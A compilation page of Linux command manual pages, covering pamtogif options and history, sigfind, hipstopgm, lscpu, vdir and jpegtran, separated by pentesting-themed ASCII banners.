This option causes the GIF output, and thus pamtogif, not to use LZW (Lempel-Ziv) compression. As a result, the image file is larger and, before the patent expired, no royalties would be owed to the holder of the patent on LZW. See the section LICENSE below.

LZW is a method for combining the information from multiple pixels into a single GIF code. With the -nolzw option, pamtogif creates one GIF code per pixel, so it is not doing any compression and not using LZW. However, any GIF decoder, whether it uses an LZW decompressor or not, will correctly decode this uncompressed format. An LZW decompressor would see this as a particular case of LZW compression.

Note that if someone uses an LZW decompressor such as the one in giftopnm or pretty much any graphics display program to process the output of pamtogif -nolzw , he is then using the LZW patent. But the patent holder expressed far less interest in enforcing the patent on decoding than on encoding.

**-aspect=**fraction
This is the aspect ratio of the pixels of the image. Its only effect is to record that information in the GIF for use by whatever interprets the GIF. Note that this feature of GIF is hardly ever used and most GIF decoders ignore this information and assume pixels are square.

Pixels in a Netpbm image do not have aspect ratios; there is always a one-one correspondence between GIF pixels and Netpbm pixels.

The aspect ratio is the quotient of width divided by height. GIF allows aspect ratios from 0.25 (1:4) to 4 (4:1) in increments of 1/64. pamtogif implements a natural extension of GIF that allows an aspect ratio up to 4 14/64. If you specify anything outside this range, pamtogif fails. pamtogif rounds fraction to the nearest 1/64.

The default is square (1.0).

This option was new in Netpbm 10.38 (March 2007). Before that, the pixels are always square.

-verbose
This option causes pamtogif to display information about the conversion process and the image it produces.

SEE ALSO

giftopnm(1) , pnmremap(1) , ppmtogif(1) ,

gifsicle http://www.lcdf.org/gifsicle , pnm(1) , pam(1) .

HISTORY

pamtogif was new in Netpbm 10.37 (December 2006). It replaced ppmtogif, which created GIF images for Pbmplus/Netpbm users since 1989.

The main outward change in the conversion from ppmtogif to pamtogif was that pamtogif was able to use transparency information (“alpha channel”) in PAM input, whereas with ppmtogif, one had to supply the transparency mask in a separate pseudo-PGM image (via the -alpha option).

Jef Poskanzer wrote ppmtogif in 1989, and it has always been a cornerstone of Pbmplus/Netpbm because GIF is such a popular image format. Jef based the LZW encoding on GIFENCOD by David Rowley <[email protected]>. Jef included GIFENCOD’s GIFCOMPR.C file pretty much whole. Rowley, in turn, adapted the LZW compression code from classic Unix compress, which used techniques described in IEEE Computer, June 1984.

Jef’s ppmtogif notably lacked the ability to use a transparency mask with it. You could create transparent pixels in a GIF, but only with the -transparent option, which allowed one to specify that all pixels of a certain color in the input were to be transparent. Bryan Henderson added the -alpha option in July 2001 so you could supply a mask image that indicates exactly which pixels are to be transparent, and those pixels could have the same color as other opaque ones.

Bryan Henderson added another significant piece of code and function in October 2001: the ability to generate a GIF without using the LZW patent – an uncompressed GIF. This was very important to many people at the time because the GIF patent was still in force, and this allowed them to make an image that any GIF viewer could display, royalty-free. Bryan adapted code from the Independent JPEG Group’s djpeg for that.

There is no code in pamtogif from Jef’s original, but Jef may still hold copyright over it because of the way in which it evolved. Virtually all of the code in pamtogif was written by Bryan Henderson and contributed to the public domain.

LICENSE

If you use pamtogif without the -nolzw option, you are using a patent on the LZW compression method which is owned by Unisys. The patent has expired (in 2003 in the US and in 2004 elsewhere), so it doesn’t matter. While the patent was in force, most people who used pamtogif and similar programs did so without a license from Unisys to do so. Unisys typically asked $5000 for a license for trivial use of the patent. Unisys never enforced the patent against trivial users.

Rumor has it that IBM also owns or owned a patent covering pamtogif.

A replacement for the GIF format that never required any patents to use is the PNG format.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtogif.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

440 - Linux cli command sigfind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sigfind and provides detailed information about the command sigfind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sigfind.

NAME 🖥️ sigfind 🖥️

Find a binary signature in a file

SYNOPSIS

sigfind [-b bsize ] [-o offset ] [-t template ] [-lV] [ hex_signature ] file

DESCRIPTION

sigfind searches through a file and looks for the hex_signature at a given offset. This can be used to search for lost boot sectors, superblocks, and partition tables.

ARGUMENTS

-b bsize
Specify the block size in which to search. The default is 512 and the value must be a multiple of 512.

-o offset
Specify the offset in a block in which the signature must exist. The default is 0.

-t template
Specify a template name that defines the signature value and offset. Run with no options to get a list of supported templates.

-l
The signature is stored in little-endian ordering and must therefore be reversed.

-V
Display version

[hex_signature]
The binary signature that you are searching for. It must be given in hexadecimal format. This argument must exist if -t is not used.

file
Any raw data.

EXAMPLES

sigfind -o 510 -l AA55 disk.dd

sigfind -t fat disk.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

441 - Linux cli command hipstopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hipstopgm and provides detailed information about the command hipstopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hipstopgm.

.

NAME 🖥️ hipstopgm 🖥️

convert a HIPS file into a PGM image

SYNOPSIS

hipstopgm [hipsfile]

DESCRIPTION

This program is part of Netpbm(1) .

hipstopgm reads a HIPS file as input and produces a PGM image as output.

If the HIPS file contains more than one frame in sequence, hipstopgm will concatenate all the frames vertically.

HIPS is a format developed at the Human Information Processing Laboratory, NYU.

OPTIONS

There are no command line options defined specifically for hipstopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/hipstopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

442 - Linux cli command lscpu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lscpu and provides detailed information about the command lscpu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lscpu.

NAME 🖥️ lscpu 🖥️

display information about the CPU architecture

SYNOPSIS

lscpu [options]

DESCRIPTION

lscpu gathers CPU architecture information from sysfs, /proc/cpuinfo and any applicable architecture-specific libraries (e.g. librtas on Powerpc). The command output can be optimized for parsing or for easy readability by humans. The information includes, for example, the number of CPUs, threads, cores, sockets, and Non-Uniform Memory Access (NUMA) nodes. There is also information about the CPU caches and cache sharing, family, model, bogoMIPS, byte order, and stepping.

The default output formatting on terminal is subject to change and maybe optimized for better readability. The output for non-terminals (e.g., pipes) is never affected by this optimization and it is always in “Field: data " format. Use for example “lscpu | less” to see the default output without optimizations.

In virtualized environments, the CPU architecture information displayed reflects the configuration of the guest operating system which is typically different from the physical (host) system. On architectures that support retrieving physical topology information, lscpu also displays the number of physical sockets, chips, cores in the host system.

Options that result in an output table have a list argument. Use this argument to customize the command output. Specify a comma-separated list of column labels to limit the output table to only the specified columns, arranged in the specified order. See COLUMNS for a list of valid column labels. The column labels are not case sensitive.

Not all columns are supported on all architectures. If an unsupported column is specified, lscpu prints the column but does not provide any data for it.

The cache sizes are reported as summary from all CPUs. The versions before v2.34 reported per-core sizes, but this output was confusing due to complicated CPUs topology and the way how caches are shared between CPUs. For more details about caches see –cache. Since version v2.37 lscpu follows cache IDs as provided by Linux kernel and it does not always start from zero.

OPTIONS

-a, –all

Include lines for online and offline CPUs in the output (default for -e). This option may only be specified together with option -e or -p.

-B, –bytes

Print the sizes in bytes rather than in a human-readable format.

By default, the unit, sizes are expressed in, is byte, and unit prefixes are in power of 2^10 (1024). Abbreviations of symbols are exhibited truncated in order to reach a better readability, by exhibiting alone the first letter of them; examples: “1 KiB” and “1 MiB” are respectively exhibited as “1 K” and “1 M”, then omitting on purpose the mention “iB”, which is part of these abbreviations.

-b, –online

Limit the output to online CPUs (default for -p). This option may only be specified together with option -e or -p.

-C, –caches[=list]

Display details about CPU caches. For details about available information see –help output.

If the list argument is omitted, all columns for which data is available are included in the command output.

When specifying the list argument, the string of option, equal sign (=), and list must not contain any blanks or other whitespace. Examples: -C=NAME,ONE-SIZE or –caches=NAME,ONE-SIZE.

The default list of columns may be extended if list is specified in the format +list (e.g., lscpu -C=+ALLOC-POLICY).

-c, –offline

Limit the output to offline CPUs. This option may only be specified together with option -e or -p.

–hierarchic[=when]

Use subsections in summary output. For backward compatibility, the default is to use subsections only when output on a terminal and flattened output on a non-terminal. The optional argument when can be never, always or auto. If the when argument is omitted, it defaults to “always”.

-e, –extended[=list]

Display the CPU information in human-readable format.

If the list argument is omitted, the default columns are included in the command output. The default output is subject to change.

When specifying the list argument, the string of option, equal sign (=), and list must not contain any blanks or other whitespace. Examples: -e=cpu,node or –extended=cpu,node.

The default list of columns may be extended if list is specified in the format +list (e.g., lscpu -e=+MHZ).

-J, –json

Use JSON output format for the default summary or extended output (see –extended). For backward compatibility, JSON output follows the default summary behavior for non-terminals (e.g., pipes) where subsections are missing. See also –hierarchic.

-p, –parse[=list]

Optimize the command output for easy parsing.

If the list argument is omitted, the command output is compatible with earlier versions of lscpu. In this compatible format, two commas are used to separate CPU cache columns. If no CPU caches are identified the cache column is omitted. If the list argument is used, cache columns are separated with a colon (:).

When specifying the list argument, the string of option, equal sign (=), and list must not contain any blanks or other whitespace. Examples: -p=cpu,node or –parse=cpu,node.

The default list of columns may be extended if list is specified in the format +list (e.g., lscpu -p=+MHZ).

-s, –sysroot directory

Gather CPU data for a Linux instance other than the instance from which the lscpu command is issued. The specified directory is the system root of the Linux instance to be inspected.

-x, –hex

Use hexadecimal masks for CPU sets (for example “ff”). The default is to print the sets in list format (for example 0,1). Note that before version 2.30 the mask has been printed with 0x prefix.

-y, –physical

Display physical IDs for all columns with topology elements (core, socket, etc.). Other than logical IDs, which are assigned by lscpu, physical IDs are platform-specific values that are provided by the kernel. Physical IDs are not necessarily unique and they might not be arranged sequentially. If the kernel could not retrieve a physical ID for an element lscpu prints the dash (-) character.

The CPU logical numbers are not affected by this option.

–output-all

Output all available columns. This option must be combined with either –extended, –parse or –caches.

BUGS

The basic overview of CPU family, model, etc. is always based on the first CPU only.

Sometimes in Xen Dom0 the kernel reports wrong data.

On virtual hardware the number of cores per socket, etc. can be wrong.

AUTHORS

SEE ALSO

chcpu(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lscpu command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

443 - Linux cli command vdir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vdir and provides detailed information about the command vdir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vdir.

NAME 🖥️ vdir 🖥️

list directory contents

SYNOPSIS

vdir [OPTION]… [FILE]…

DESCRIPTION

List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor –sort is specified.

Mandatory arguments to long options are mandatory for short options too.

-a, –all
do not ignore entries starting with .

-A, –almost-all
do not list implied . and ..

–author
with -l, print the author of each file

-b, –escape
print C-style escapes for nongraphic characters

–block-size=SIZE
with -l, scale sizes by SIZE when printing them; e.g., ‘–block-size=M’; see SIZE format below

-B, –ignore-backups
do not list implied entries ending with ~

-c
with -lt: sort by, and show, ctime (time of last change of file status information); with -l: show ctime and sort by name; otherwise: sort by ctime, newest first

-C
list entries by columns

–color[=WHEN]
color the output WHEN; more info below

-d, –directory
list directories themselves, not their contents

-D, –dired
generate output designed for Emacs’ dired mode

-f
list all entries in directory order

-F, –classify[=WHEN]
append indicator (one of */=>@|) to entries WHEN

–file-type
likewise, except do not append ‘*’

–format=WORD
across -x, commas -m, horizontal -x, long -l, single-column -1, verbose -l, vertical -C

–full-time
like -l –time-style=full-iso

-g
like -l, but do not list owner

–group-directories-first
group directories before files; can be augmented with a –sort option, but any use of –sort=none (-U) disables grouping

-G, –no-group
in a long listing, don’t print group names

-h, –human-readable
with -l and -s, print sizes like 1K 234M 2G etc.

–si
likewise, but use powers of 1000 not 1024

-H, –dereference-command-line
follow symbolic links listed on the command line

–dereference-command-line-symlink-to-dir
follow each command line symbolic link that points to a directory

–hide=PATTERN
do not list implied entries matching shell PATTERN (overridden by -a or -A)

–hyperlink[=WHEN]
hyperlink file names WHEN

–indicator-style=WORD
append indicator with style WORD to entry names: none (default), slash (-p), file-type (–file-type), classify (-F)

-i, –inode
print the index number of each file

-I, –ignore=PATTERN
do not list implied entries matching shell PATTERN

-k, –kibibytes
default to 1024-byte blocks for file system usage; used only with -s and per directory totals

-l
use a long listing format

-L, –dereference
when showing file information for a symbolic link, show information for the file the link references rather than for the link itself

-m
fill width with a comma separated list of entries

-n, –numeric-uid-gid
like -l, but list numeric user and group IDs

-N, –literal
print entry names without quoting

-o
like -l, but do not list group information

-p, –indicator-style=slash
append / indicator to directories

-q, –hide-control-chars
print ? instead of nongraphic characters

–show-control-chars
show nongraphic characters as-is (the default, unless program is ’ls’ and output is a terminal)

-Q, –quote-name
enclose entry names in double quotes

–quoting-style=WORD
use quoting style WORD for entry names: literal, locale, shell, shell-always, shell-escape, shell-escape-always, c, escape (overrides QUOTING_STYLE environment variable)

-r, –reverse
reverse order while sorting

-R, –recursive
list subdirectories recursively

-s, –size
print the allocated size of each file, in blocks

-S
sort by file size, largest first

–sort=WORD
sort by WORD instead of name: none (-U), size (-S), time (-t), version (-v), extension (-X), width

–time=WORD
select which timestamp used to display or sort; access time (-u): atime, access, use; metadata change time (-c): ctime, status; modified time (default): mtime, modification; birth time: birth, creation;

with -l, WORD determines which time to show; with –sort=time, sort by WORD (newest first)

–time-style=TIME_STYLE
time/date format with -l; see TIME_STYLE below

-t
sort by time, newest first; see –time

-T, –tabsize=COLS
assume tab stops at each COLS instead of 8

-u
with -lt: sort by, and show, access time; with -l: show access time and sort by name; otherwise: sort by access time, newest first

-U
do not sort; list entries in directory order

-v
natural sort of (version) numbers within text

-w, –width=COLS
set output width to COLS. 0 means no limit

-x
list entries by lines instead of by columns

-X
sort alphabetically by entry extension

-Z, –context
print any security context of each file

–zero
end each output line with NUL, not newline

-1
list one file per line

–help
display this help and exit

–version
output version information and exit

The SIZE argument is an integer and optional unit (example: 10K is 10*1024). Units are K,M,G,T,P,E,Z,Y,R,Q (powers of 1024) or KB,MB,… (powers of 1000). Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

The TIME_STYLE argument can be full-iso, long-iso, iso, locale, or +FORMAT. FORMAT is interpreted like in date(1). If FORMAT is FORMAT1<newline>FORMAT2, then FORMAT1 applies to non-recent files and FORMAT2 to recent files. TIME_STYLE prefixed with ‘posix-’ takes effect only outside the POSIX locale. Also the TIME_STYLE environment variable sets the default style to use.

The WHEN argument defaults to ‘always’ and can also be ‘auto’ or ’never’.

Using color to distinguish file types is disabled both by default and with –color=never. With –color=auto, ls emits color codes only when standard output is connected to a terminal. The LS_COLORS environment variable can change the settings. Use the dircolors(1) command to set it.

Exit status:

0
if OK,

1
if minor problems (e.g., cannot access subdirectory),

2
if serious trouble (e.g., cannot access command-line argument).

AUTHOR

Written by Richard M. Stallman and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/vdir>
or available locally via: info ‘(coreutils) vdir invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

444 - Linux cli command jpegtran

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpegtran and provides detailed information about the command jpegtran, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpegtran.

NAME 🖥️ jpegtran 🖥️

lossless transformation of JPEG files

SYNOPSIS

jpegtran [ options ] [ filename ]

DESCRIPTION

jpegtran performs various useful transformations of JPEG files. It can translate the coded representation from one variant of JPEG to another, for example from baseline JPEG to progressive JPEG or vice versa. It can also perform some rearrangements of the image data, for example turning an image from landscape to portrait format by rotation.

For EXIF files and JPEG files containing Exif data, you may prefer to use exiftran instead.

jpegtran works by rearranging the compressed data (DCT coefficients), without ever fully decoding the image. Therefore, its transformations are lossless: there is no image degradation at all, which would not be true if you used djpeg followed by cjpeg to accomplish the same conversion. But by the same token, jpegtran cannot perform lossy operations such as changing the image quality. However, while the image data is losslessly transformed, metadata can be removed. See the -copy option for specifics.

jpegtran reads the named JPEG/JFIF file, or the standard input if no file is named, and produces a JPEG/JFIF file on the standard output.

OPTIONS

All switch names may be abbreviated; for example, -optimize may be written -opt or -o. Upper and lower case are equivalent. British spellings are also accepted (e.g., -optimise), though for brevity these are not mentioned below.

To specify the coded JPEG representation used in the output file, jpegtran accepts a subset of the switches recognized by cjpeg:

-optimize
Perform optimization of entropy encoding parameters.

-progressive
Create progressive JPEG file.

-restart* N*
Emit a JPEG restart marker every N MCU rows, or every N MCU blocks if “B” is attached to the number.

-arithmetic
Use arithmetic coding.

-scans* file*
Use the scan script given in the specified text file.

See cjpeg(1) for more details about these switches. If you specify none of these switches, you get a plain baseline-JPEG output file. The quality setting and so forth are determined by the input file.

The image can be losslessly transformed by giving one of these switches:

-flip horizontal
Mirror image horizontally (left-right).

-flip vertical
Mirror image vertically (top-bottom).

-rotate 90
Rotate image 90 degrees clockwise.

-rotate 180
Rotate image 180 degrees.

-rotate 270
Rotate image 270 degrees clockwise (or 90 ccw).

-transpose
Transpose image (across UL-to-LR axis).

-transverse
Transverse transpose (across UR-to-LL axis).

The transpose transformation has no restrictions regarding image dimensions. The other transformations operate rather oddly if the image dimensions are not a multiple of the iMCU size (usually 8 or 16 pixels), because they can only transform complete blocks of DCT coefficient data in the desired way.

jpegtran’s default behavior when transforming an odd-size image is designed to preserve exact reversibility and mathematical consistency of the transformation set. As stated, transpose is able to flip the entire image area. Horizontal mirroring leaves any partial iMCU column at the right edge untouched, but is able to flip all rows of the image. Similarly, vertical mirroring leaves any partial iMCU row at the bottom edge untouched, but is able to flip all columns. The other transforms can be built up as sequences of transpose and flip operations; for consistency, their actions on edge pixels are defined to be the same as the end result of the corresponding transpose-and-flip sequence.

For practical use, you may prefer to discard any untransformable edge pixels rather than having a strange-looking strip along the right and/or bottom edges of a transformed image. To do this, add the -trim switch:

-trim
Drop non-transformable edge blocks.

Obviously, a transformation with -trim is not reversible, so strictly speaking jpegtran with this switch is not lossless. Also, the expected mathematical equivalences between the transformations no longer hold. For example, -rot 270 -trim trims only the bottom edge, but -rot 90 -trim followed by -rot 180 -trim trims both edges.

-perfect
If you are only interested in perfect transformations, add the -perfect switch. This causes jpegtran to fail with an error if the transformation is not perfect.

For example, you may want to do

(jpegtran -rot 90 -perfect foo.jpg || djpeg foo.jpg | pnmflip -r90 | cjpeg)

to do a perfect rotation, if available, or an approximated one if not.

This version of jpegtran also offers a lossless crop option, which discards data outside of a given image region but losslessly preserves what is inside. Like the rotate and flip transforms, lossless crop is restricted by the current JPEG format; the upper left corner of the selected region must fall on an iMCU boundary. If it doesn’t, then it is silently moved up and/or left to the nearest iMCU boundary (the lower right corner is unchanged.) Thus, the output image covers at least the requested region, but it may cover more. The adjustment of the region dimensions may be optionally disabled by attaching an ‘f’ character (“force”) to the width or height number.

The image can be losslessly cropped by giving the switch:

-crop WxH+X+Y
Crop the image to a rectangular region of width W and height H, starting at point X,Y. The lossless crop feature discards data outside of a given image region but losslessly preserves what is inside. Like the rotate and flip transforms, lossless crop is restricted by the current JPEG format; the upper left corner of the selected region must fall on an iMCU boundary. If it doesn’t, then it is silently moved up and/or left to the nearest iMCU boundary (the lower right corner is unchanged.)

If W or H is larger than the width/height of the input image, then the output image is expanded in size, and the expanded region is filled in with zeros (neutral gray). Attaching an ‘f’ character (“flatten”) to the width number will cause each block in the expanded region to be filled in with the DC coefficient of the nearest block in the input image rather than grayed out. Attaching an ‘r’ character (“reflect”) to the width number will cause the expanded region to be filled in with repeated reflections of the input image rather than grayed out.

A complementary lossless wipe option is provided to discard (gray out) data inside a given image region while losslessly preserving what is outside:

-wipe WxH+X+Y
Wipe (gray out) a rectangular region of width W and height H from the input image, starting at point X,Y.

Attaching an ‘f’ character (“flatten”) to the width number will cause the region to be filled with the average of adjacent blocks rather than grayed out. If the wipe region and the region outside the wipe region, when adjusted to the nearest iMCU boundary, form two horizontally adjacent rectangles, then attaching an ‘r’ character (“reflect”) to the width number will cause the wipe region to be filled with repeated reflections of the outside region rather than grayed out.

A lossless drop option is also provided, which allows another JPEG image to be inserted (“dropped”) into the input image data at a given position, replacing the existing image data at that position:

-drop +X+Y filename
Drop (insert) another image at point X,Y

Both the input image and the drop image must have the same subsampling level. It is best if they also have the same quantization (quality.) Otherwise, the quantization of the output image will be adapted to accommodate the higher of the input image quality and the drop image quality. The trim option can be used with the drop option to requantize the drop image to match the input image. Note that a grayscale image can be dropped into a full-color image or vice versa, as long as the full-color image has no vertical subsampling. If the input image is grayscale and the drop image is full-color, then the chrominance channels from the drop image will be discarded.

Other not-strictly-lossless transformation switches are:

-grayscale
Force grayscale output.

This option discards the chrominance channels if the input image is YCbCr (ie, a standard color JPEG), resulting in a grayscale JPEG file. The luminance channel is preserved exactly, so this is a better method of reducing to grayscale than decompression, conversion, and recompression. This switch is particularly handy for fixing a monochrome picture that was mistakenly encoded as a color JPEG. (In such a case, the space savings from getting rid of the near-empty chroma channels won’t be large; but the decoding time for a grayscale JPEG is substantially less than that for a color JPEG.)

jpegtran also recognizes these switches that control what to do with “extra” markers, such as comment blocks:

-copy none
Copy no extra markers from source file. This setting suppresses all comments and other metadata in the source file.

-copy comments
Copy only comment markers. This setting copies comments from the source file but discards any other metadata.

-copy icc
Copy only ICC profile markers. This setting copies the ICC profile from the source file but discards any other metadata.

-copy all
Copy all extra markers. This setting preserves miscellaneous markers found in the source file, such as JFIF thumbnails, Exif data, and Photoshop settings. In some files, these extra markers can be sizable. Note that this option will copy thumbnails as-is; they will not be transformed.

The default behavior is -copy comments. (Note: in IJG releases v6 and v6a, jpegtran always did the equivalent of -copy none.)

Additional switches recognized by jpegtran are:

-icc* file*
Embed ICC color management profile contained in the specified file. Note that this will cause jpegtran to ignore any APP2 markers in the input file, even if -copy all or -copy icc is specified.

-maxmemory* N*
Set limit for amount of memory to use in processing large images. Value is in thousands of bytes, or millions of bytes if “M” is attached to the number. For example, -max 4m selects 4000000 bytes. If more space is needed, an error will occur.

-maxscans* N*
Abort if the input image contains more than N scans. This feature demonstrates a method by which applications can guard against denial-of-service attacks instigated by specially-crafted malformed JPEG images containing numerous scans with missing image data or image data consisting only of “EOB runs” (a feature of progressive JPEG images that allows potentially hundreds of thousands of adjoining zero-value pixels to be represented using only a few bytes.) Attempting to transform such malformed JPEG images can cause excessive CPU activity, since the decompressor must fully process each scan (even if the scan is corrupt) before it can proceed to the next scan.

-outfile* name*
Send output image to the named file, not to standard output.

-report
Report transformation progress.

-strict
Treat all warnings as fatal. This feature also demonstrates a method by which applications can guard against attacks instigated by specially-crafted malformed JPEG images. Enabling this option will cause the decompressor to abort if the input image contains incomplete or corrupt image data.

-verbose
Enable debug printout. More -v’s give more output. Also, version information is printed at startup.

-debug
Same as -verbose.

-version
Print version information and exit.

EXAMPLES

This example converts a baseline JPEG file to progressive form:

jpegtran -progressive foo.jpg > fooprog.jpg

This example rotates an image 90 degrees clockwise, discarding any unrotatable edge pixels:

jpegtran -rot 90 -trim foo.jpg > foo90.jpg

ENVIRONMENT

JPEGMEM
If this environment variable is set, its value is the default memory limit. The value is specified as described for the -maxmemory switch. JPEGMEM overrides the default value specified when the program was compiled, and itself is overridden by an explicit -maxmemory.

SEE ALSO

cjpeg(1), djpeg(1), rdjpgcom(1), wrjpgcom(1)
Wallace, Gregory K. “The JPEG Still Picture Compression Standard”, Communications of the ACM, April 1991 (vol. 34, no. 4), pp. 30-44.

AUTHOR

Independent JPEG Group

This file was modified by The libjpeg-turbo Project to include only information relevant to libjpeg-turbo and to wordsmith certain sections.

BUGS

The transform options can’t transform odd-size images perfectly. Use -trim or -perfect if you don’t like the results.

The entire image is read into memory and then written out again, even in cases where this isn’t really necessary. Expect swapping on large images, especially when using the more complex transform options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

